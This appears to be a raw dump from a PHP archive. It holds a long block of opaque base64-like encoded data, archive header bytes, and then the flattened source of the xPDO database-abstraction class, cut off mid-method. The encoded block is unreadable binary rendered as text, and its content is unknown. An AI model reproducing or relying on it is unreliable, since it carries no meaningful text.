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 Mxuo8NHadTcfn1zHkm==PKre["xpdo.class.phpnu[ * @copyright Copyright (C) 2006-2014, Jason Coward * @license http://opensource.org/licenses/gpl-2.0.php GNU Public License v2 * @package xpdo */ if (!defined('XPDO_PHP_VERSION')) { /** * Defines the PHP version string xPDO is running under. */ define('XPDO_PHP_VERSION', phpversion()); } if (!defined('XPDO_CLI_MODE')) { if (php_sapi_name() == 'cli') { /** * This constant defines if xPDO is operating from the CLI. */ define('XPDO_CLI_MODE', true); } else { /** @ignore */ define('XPDO_CLI_MODE', false); } } if (!defined('XPDO_CORE_PATH')) { /** * @internal This global variable is only used to set the {@link * XPDO_CORE_PATH} value upon initial include of this file. Not meant for * external use. * @var string * @access private */ $xpdo_core_path= strtr(realpath(dirname(__FILE__)), '\\', '/') . '/'; /** * @var string The full path to the xPDO root directory. * * Use of this constant is recommended for use when building any path in * your xPDO code. * * @access public */ define('XPDO_CORE_PATH', $xpdo_core_path); } if (!class_exists('PDO')) { //@todo Handle PDO configuration errors here. } /** * A wrapper for PDO that powers an object-relational data model. * * xPDO provides centralized data access via a simple object-oriented API, to * a defined data structure. It provides the de facto methods for connecting * to a data source, getting persistence metadata for any class extended from * the {@link xPDOObject} class (core or custom), loading data source managers * when needed to manage table structures, and retrieving instances (or rows) of * any object in the model. * * Through various extensions, you can also reverse and forward engineer classes * and metadata maps for xPDO, have classes, models, and properties maintain * their own containers (databases, tables, columns, etc.) or changes to them, * and much more. * * @package xpdo */ class xPDO { /**#@+ * Constants */ const OPT_AUTO_CREATE_TABLES = 'auto_create_tables'; const OPT_BASE_CLASSES = 'base_classes'; const OPT_BASE_PACKAGES = 'base_packages'; const OPT_CACHE_COMPRESS = 'cache_compress'; const OPT_CACHE_DB = 'cache_db'; const OPT_CACHE_DB_COLLECTIONS = 'cache_db_collections'; const OPT_CACHE_DB_OBJECTS_BY_PK = 'cache_db_objects_by_pk'; const OPT_CACHE_DB_EXPIRES = 'cache_db_expires'; const OPT_CACHE_DB_HANDLER = 'cache_db_handler'; const OPT_CACHE_DB_SIG_CLASS = 'cache_db_sig_class'; const OPT_CACHE_DB_SIG_GRAPH = 'cache_db_sig_graph'; const OPT_CACHE_EXPIRES = 'cache_expires'; const OPT_CACHE_FORMAT = 'cache_format'; const OPT_CACHE_HANDLER = 'cache_handler'; const OPT_CACHE_KEY = 'cache_key'; const OPT_CACHE_PATH = 'cache_path'; const OPT_CACHE_PREFIX = 'cache_prefix'; const OPT_CACHE_ATTEMPTS = 'cache_attempts'; const OPT_CACHE_ATTEMPT_DELAY = 'cache_attempt_delay'; const OPT_CALLBACK_ON_REMOVE = 'callback_on_remove'; const OPT_CALLBACK_ON_SAVE = 'callback_on_save'; const OPT_CONNECTIONS = 'connections'; const OPT_CONN_INIT = 'connection_init'; const OPT_CONN_MUTABLE = 'connection_mutable'; const OPT_HYDRATE_FIELDS = 'hydrate_fields'; const OPT_HYDRATE_ADHOC_FIELDS = 'hydrate_adhoc_fields'; const OPT_HYDRATE_RELATED_OBJECTS = 'hydrate_related_objects'; const OPT_LOCKFILE_EXTENSION = 'lockfile_extension'; const OPT_USE_FLOCK = 'use_flock'; /** * @deprecated * @see call() */ const OPT_LOADER_CLASSES = 'loader_classes'; const OPT_ON_SET_STRIPSLASHES = 'on_set_stripslashes'; const OPT_SETUP = 'setup'; const OPT_TABLE_PREFIX = 'table_prefix'; const OPT_VALIDATE_ON_SAVE = 'validate_on_save'; const OPT_VALIDATOR_CLASS = 'validator_class'; const LOG_LEVEL_FATAL = 0; const LOG_LEVEL_ERROR = 1; const LOG_LEVEL_WARN = 2; const LOG_LEVEL_INFO = 3; const LOG_LEVEL_DEBUG = 4; const SCHEMA_VERSION = '1.1'; /** * @var PDO A reference to the PDO instance used by the current xPDOConnection. */ public $pdo= null; /** * @var array Configuration options for the xPDO instance. */ public $config= null; /** * @var xPDODriver An xPDODriver instance for the xPDOConnection instances to use. */ public $driver= null; /** * A map of data source meta data for all loaded classes. * @var array * @access public */ public $map= array (); /** * A default package for specifying classes by name. * @var string * @access public */ public $package= ''; /** * An array storing packages and package-specific information. * @var array * @access public */ public $packages= array (); /** * {@link xPDOManager} instance, loaded only if needed to manage datasource * containers, data structures, etc. * @var xPDOManager * @access public */ public $manager= null; /** * @var xPDOCacheManager The cache service provider registered for this xPDO * instance. */ public $cacheManager= null; /** * @var string A root path for file-based caching services to use. */ private $cachePath= null; /** * @var array An array of supplemental service classes for this xPDO instance. */ public $services= array (); /** * @var float Start time of the request, initialized when the constructor is * called. */ public $startTime= 0; /** * @var int The number of direct DB queries executed during a request. */ public $executedQueries= 0; /** * @var int The amount of request handling time spent with DB queries. */ public $queryTime= 0; public $classMap = array(); /** * @var xPDOConnection The current xPDOConnection for this xPDO instance. */ public $connection = null; /** * @var array PDO connections managed by this xPDO instance. */ private $_connections = array(); /** * @var integer The logging level for the xPDO instance. */ protected $logLevel= xPDO::LOG_LEVEL_FATAL; /** * @var string The default logging target for the xPDO instance. */ protected $logTarget= 'ECHO'; /** * Indicates the debug state of this instance. * @var boolean Default is false. * @access protected */ protected $_debug= false; /** * A global cache flag that can be used to enable/disable all xPDO caching. * @var boolean All caching is disabled by default. * @access public */ public $_cacheEnabled= false; /** * Indicates the opening escape character used for a particular database engine. * @var string * @access public */ public $_escapeCharOpen= ''; /** * Indicates the closing escape character used for a particular database engine. * @var string * @access public */ public $_escapeCharClose= ''; /** * Represents the character used for quoting strings for a particular driver. * @var string */ public $_quoteChar= "'"; /** * @var array A static collection of xPDO instances. */ protected static $instances = array(); /** * Create, retrieve, or update specific xPDO instances. * * @static * @param string|int|null $id An optional identifier for the instance. If not set * a uniqid will be generated and used as the key for the instance. * @param array|null $config An optional array of config data for the instance. * @param bool $forceNew If true a new instance will be created even if an instance * with the provided $id already exists in xPDO::$instances. * @throws xPDOException If a valid instance is not retrieved. * @return xPDO An instance of xPDO. */ public static function getInstance($id = null, $config = null, $forceNew = false) { $instances =& self::$instances; if (is_null($id)) { if (!is_null($config) || $forceNew || empty($instances)) { $id = uniqid(__CLASS__); } else { $id = key($instances); } } if ($forceNew || !array_key_exists($id, $instances) || !($instances[$id] instanceof xPDO)) { $instances[$id] = new xPDO(null, null, null, $config); } elseif ($instances[$id] instanceof xPDO && is_array($config)) { $instances[$id]->config = array_merge($instances[$id]->config, $config); } if (!($instances[$id] instanceof xPDO)) { throw new xPDOException("Error getting " . __CLASS__ . " instance, id = {$id}"); } return $instances[$id]; } /** * The xPDO Constructor. * * This method is used to create a new xPDO object with a connection to a * specific database container. * * @param mixed $dsn A valid DSN connection string. * @param string $username The database username with proper permissions. * @param string $password The password for the database user. * @param array|string $options An array of xPDO options. For compatibility with previous * releases, this can also be a single string representing a prefix to be applied to all * database container (i. e. table) names, to isolate multiple installations or conflicting * table names that might need to coexist in a single database container. It is preferrable to * include the table_prefix option in the array for future compatibility. * @param array|null $driverOptions Driver-specific PDO options. * @throws xPDOException If an error occurs creating the instance. * @return xPDO A unique xPDO instance. */ public function __construct($dsn, $username= '', $password= '', $options= array(), $driverOptions= null) { try { $this->config = $this->initConfig($options); $this->setLogLevel($this->getOption('log_level', null, xPDO::LOG_LEVEL_FATAL, true)); $this->setLogTarget($this->getOption('log_target', null, XPDO_CLI_MODE ? 'ECHO' : 'HTML', true)); if (!empty($dsn)) { $this->addConnection($dsn, $username, $password, $this->config, $driverOptions); } if (isset($this->config[xPDO::OPT_CONNECTIONS])) { $connections = $this->config[xPDO::OPT_CONNECTIONS]; if (is_string($connections)) { $connections = $this->fromJSON($connections); } if (is_array($connections)) { foreach ($connections as $connection) { $this->addConnection( $connection['dsn'], $connection['username'], $connection['password'], $connection['options'], $connection['driverOptions'] ); } } } $initOptions = $this->getOption(xPDO::OPT_CONN_INIT, null, array()); $this->config = array_merge($this->config, $this->getConnection($initOptions)->config); $this->getDriver(); $this->setPackage('om', XPDO_CORE_PATH, $this->config[xPDO::OPT_TABLE_PREFIX]); if (isset($this->config[xPDO::OPT_BASE_PACKAGES]) && !empty($this->config[xPDO::OPT_BASE_PACKAGES])) { $basePackages= explode(',', $this->config[xPDO::OPT_BASE_PACKAGES]); foreach ($basePackages as $basePackage) { $exploded= explode(':', $basePackage, 2); if ($exploded) { $path= $exploded[1]; $prefix= null; if (strpos($path, ';')) { $details= explode(';', $path); if ($details && count($details) == 2) { $path= $details[0]; $prefix = $details[1]; } } $this->addPackage($exploded[0], $path, $prefix); } } } $this->loadClass('xPDOObject'); $this->loadClass('xPDOSimpleObject'); if (isset($this->config[xPDO::OPT_BASE_CLASSES])) { foreach (array_keys($this->config[xPDO::OPT_BASE_CLASSES]) as $baseClass) { $this->loadClass($baseClass); } } if (isset($this->config[xPDO::OPT_CACHE_PATH])) { $this->cachePath = $this->config[xPDO::OPT_CACHE_PATH]; } } catch (Exception $e) { throw new xPDOException("Could not instantiate xPDO: " . $e->getMessage()); } } /** * Initialize an xPDO config array. * * @param string|array $data The config input source. Currently accepts a PHP array, * or a PHP string representing xPDO::OPT_TABLE_PREFIX (deprecated). * @return array An array of xPDO config data. */ protected function initConfig($data) { if (is_string($data)) { $data= array(xPDO::OPT_TABLE_PREFIX => $data); } elseif (!is_array($data)) { $data= array(xPDO::OPT_TABLE_PREFIX => ''); } return $data; } /** * Add an xPDOConnection instance to the xPDO connection pool. * * @param string $dsn A PDO DSN representing the connection details. * @param string $username The username credentials for the connection. * @param string $password The password credentials for the connection. * @param array $options An array of options for the connection. * @param null $driverOptions An array of PDO driver options for the connection. * @return boolean True if a valid connection was added. */ public function addConnection($dsn, $username= '', $password= '', array $options= array(), $driverOptions= null) { $added = false; $connection= new xPDOConnection($this, $dsn, $username, $password, $options, $driverOptions); if ($connection instanceof xPDOConnection) { $this->_connections[]= $connection; $added= true; } return $added; } /** * Get an xPDOConnection from the xPDO connection pool. * * @param array $options An array of options for getting the connection. * @return xPDOConnection|null An xPDOConnection instance or null if no connection could be retrieved. */ public function &getConnection(array $options = array()) { $conn =& $this->connection; $mutable = $this->getOption(xPDO::OPT_CONN_MUTABLE, $options, null); if (!($conn instanceof xPDOConnection) || ($mutable !== null && (($mutable == true && !$conn->isMutable()) || ($mutable == false && $conn->isMutable())))) { if (!empty($this->_connections)) { shuffle($this->_connections); $conn = reset($this->_connections); while ($conn) { if ($mutable !== null && (($mutable == true && !$conn->isMutable()) || ($mutable == false && $conn->isMutable()))) { $conn = next($this->_connections); continue; } $this->connection =& $conn; break; } } else { $this->log(xPDO::LOG_LEVEL_ERROR, "Could not get a valid xPDOConnection", '', __METHOD__, __FILE__, __LINE__); } } return $this->connection; } /** * Get or create a PDO connection to a database specified in the configuration. * * @param array $driverOptions An optional array of driver options to use * when creating the connection. * @param array $options An array of xPDO options for the connection. * @return boolean Returns true if the PDO connection was created successfully. */ public function connect($driverOptions= array (), array $options= array()) { $connected = false; $this->getConnection($options); if ($this->connection instanceof xPDOConnection) { $connected = $this->connection->connect($driverOptions); if ($connected) { $this->pdo =& $this->connection->pdo; } } return $connected; } /** * Sets a specific model package to use when looking up classes. * * This package is of the form package.subpackage.subsubpackage and will be * added to the beginning of every xPDOObject class that is referenced in * xPDO methods such as {@link xPDO::loadClass()}, {@link xPDO::getObject()}, * {@link xPDO::getCollection()}, {@link xPDOObject::getOne()}, {@link * xPDOObject::addOne()}, etc. * * @param string $pkg A package name to use when looking up classes in xPDO. * @param string $path The root path for looking up classes in this package. * @param string|null $prefix Provide a string to define a package-specific table_prefix. * @return bool */ public function setPackage($pkg= '', $path= '', $prefix= null) { if (empty($path) && isset($this->packages[$pkg])) { $path= $this->packages[$pkg]['path']; $prefix= !is_string($prefix) && array_key_exists('prefix', $this->packages[$pkg]) ? $this->packages[$pkg]['prefix'] : $prefix; } $set= $this->addPackage($pkg, $path, $prefix); $this->package= $set == true ? $pkg : $this->package; if ($set && is_string($prefix)) $this->config[xPDO::OPT_TABLE_PREFIX]= $prefix; return $set; } /** * Adds a model package and base class path for including classes and/or maps from. * * @param string $pkg A package name to use when looking up classes/maps in xPDO. * @param string $path The root path for looking up classes in this package. * @param string|null $prefix Provide a string to define a package-specific table_prefix. * @return bool */ public function addPackage($pkg= '', $path= '', $prefix= null) { $added= false; if (is_string($pkg) && !empty($pkg)) { if (!is_string($path) || empty($path)) { $this->log(xPDO::LOG_LEVEL_ERROR, "Invalid path specified for package: {$pkg}; using default xpdo model path: " . XPDO_CORE_PATH . 'om/'); $path= XPDO_CORE_PATH . 'om/'; } if (!is_dir($path)) { $this->log(xPDO::LOG_LEVEL_ERROR, "Path specified for package {$pkg} is not a valid or accessible directory: {$path}"); } else { $prefix= !is_string($prefix) ? $this->config[xPDO::OPT_TABLE_PREFIX] : $prefix; if (!array_key_exists($pkg, $this->packages) || $this->packages[$pkg]['path'] !== $path || $this->packages[$pkg]['prefix'] !== $prefix) { $this->packages[$pkg]= array('path' => $path, 'prefix' => $prefix); $this->setPackageMeta($pkg, $path); } $added= true; } } else { $this->log(xPDO::LOG_LEVEL_ERROR, 'addPackage called with an invalid package name.'); } return $added; } /** * Adds metadata information about a package and loads the xPDO::$classMap. * * @param string $pkg A package name to use when looking up classes/maps in xPDO. * @param string $path The root path for looking up classes in this package. * @return bool */ public function setPackageMeta($pkg, $path = '') { $set = false; if (is_string($pkg) && !empty($pkg)) { $pkgPath = str_replace('.', '/', $pkg); $mapFile = $path . $pkgPath . '/metadata.' . $this->config['dbtype'] . '.php'; if (file_exists($mapFile)) { $xpdo_meta_map = ''; include $mapFile; if (!empty($xpdo_meta_map)) { foreach ($xpdo_meta_map as $className => $extends) { if (!isset($this->classMap[$className])) { $this->classMap[$className] = array(); } $this->classMap[$className] = array_unique(array_merge($this->classMap[$className],$extends)); } $set = true; } } else { $this->log(xPDO::LOG_LEVEL_WARN, "Could not load package metadata for package {$pkg}."); } } else { $this->log(xPDO::LOG_LEVEL_ERROR, 'setPackageMeta called with an invalid package name.'); } return $set; } /** * Gets a list of derivative classes for the specified className. * * The specified className must be xPDOObject or a derivative class. * * @param string $className The name of the class to retrieve derivatives for. * @return array An array of derivative classes or an empty array. */ public function getDescendants($className) { $descendants = array(); if (isset($this->classMap[$className])) { $descendants = $this->classMap[$className]; if ($descendants) { foreach ($descendants as $descendant) { $descendants = array_merge($descendants, $this->getDescendants($descendant)); } } } return $descendants; } /** * Load a class by fully qualified name. * * The $fqn should in the format: * * dir_a.dir_b.dir_c.classname * * which will translate to: * * XPDO_CORE_PATH/om/dir_a/dir_b/dir_c/dbtype/classname.class.php * * @param string $fqn The fully-qualified name of the class to load. * @param string $path An optional path to start the search from. * @param bool $ignorePkg True if currently loaded packages should be ignored. * @param bool $transient True if the class is not a persistent table class. * @return string|boolean The actual classname if successful, or false if * not. */ public function loadClass($fqn, $path= '', $ignorePkg= false, $transient= false) { if (empty($fqn)) { $this->log(xPDO::LOG_LEVEL_ERROR, "No class specified for loadClass"); return false; } if (!$transient) { $typePos= strrpos($fqn, '_' . $this->config['dbtype']); if ($typePos !== false) { $fqn= substr($fqn, 0, $typePos); } } $pos= strrpos($fqn, '.'); if ($pos === false) { $class= $fqn; if ($transient) { $fqn= strtolower($class); } else { $fqn= $this->config['dbtype'] . '.' . strtolower($class); } } else { $class= substr($fqn, $pos +1); if ($transient) { $fqn= substr($fqn, 0, $pos) . '.' . strtolower($class); } else { $fqn= substr($fqn, 0, $pos) . '.' . $this->config['dbtype'] . '.' . strtolower($class); } } // check if class exists if (!$transient && isset ($this->map[$class])) return $class; $included= class_exists($class, false); if ($included) { if ($transient || (!$transient && isset ($this->map[$class]))) { return $class; } } $classname= $class; if (!empty($path) || $ignorePkg) { $class= $this->_loadClass($class, $fqn, $included, $path, $transient); } elseif (isset ($this->packages[$this->package])) { $pqn= $this->package . '.' . $fqn; if (!$pkgClass= $this->_loadClass($class, $pqn, $included, $this->packages[$this->package]['path'], $transient)) { foreach ($this->packages as $pkg => $pkgDef) { if ($pkg === $this->package) continue; $pqn= $pkg . '.' . $fqn; if ($pkgClass= $this->_loadClass($class, $pqn, $included, $pkgDef['path'], $transient)) { break; } } } $class= $pkgClass; } else { $class= false; } if ($class === false) { $this->log(xPDO::LOG_LEVEL_ERROR, "Could not load class: {$classname} from {$fqn}."); } return $class; } protected function _loadClass($class, $fqn, $included= false, $path= '', $transient= false) { if (empty($path)) $path= XPDO_CORE_PATH; if (!$included) { /* turn to filesystem path and enforce all lower-case paths and filenames */ $fqcn= str_replace('.', '/', $fqn) . '.class.php'; /* include class */ if (!file_exists($path . $fqcn)) return false; if (!$rt= include_once ($path . $fqcn)) { $this->log(xPDO::LOG_LEVEL_WARN, "Could not load class: {$class} from {$path}{$fqcn}"); $class= false; } } if ($class && !$transient && !isset ($this->map[$class])) { $mapfile= strtr($fqn, '.', '/') . '.map.inc.php'; if (file_exists($path . $mapfile)) { $xpdo_meta_map= & $this->map; $rt= include ($path . $mapfile); if (!$rt || !isset($this->map[$class])) { $this->log(xPDO::LOG_LEVEL_WARN, "Could not load metadata map {$mapfile} for class {$class} from {$fqn}"); } else { if (!array_key_exists('fieldAliases', $this->map[$class])) { $this->map[$class]['fieldAliases'] = array(); } } } } return $class; } /** * Get an xPDO configuration option value by key. * * @param string $key The option key. * @param array $options A set of options to override those from xPDO. * @param mixed $default An optional default value to return if no value is found. * @return mixed The configuration option value. */ public function getOption($key, $options = null, $default = null, $skipEmpty = false) { $option= $default; if (is_array($key)) { if (!is_array($option)) { $default= $option; $option= array(); } foreach ($key as $k) { $option[$k]= $this->getOption($k, $options, $default); } } elseif (is_string($key) && !empty($key)) { if (is_array($options) && !empty($options) && array_key_exists($key, $options) && (!$skipEmpty || ($skipEmpty && $options[$key] !== ''))) { $option= $options[$key]; } elseif (is_array($this->config) && !empty($this->config) && array_key_exists($key, $this->config) && (!$skipEmpty || ($skipEmpty && $this->config[$key] !== ''))) { $option= $this->config[$key]; } } return $option; } /** * Sets an xPDO configuration option value. * * @param string $key The option key. * @param mixed $value A value to set for the given option key. */ public function setOption($key, $value) { $this->config[$key]= 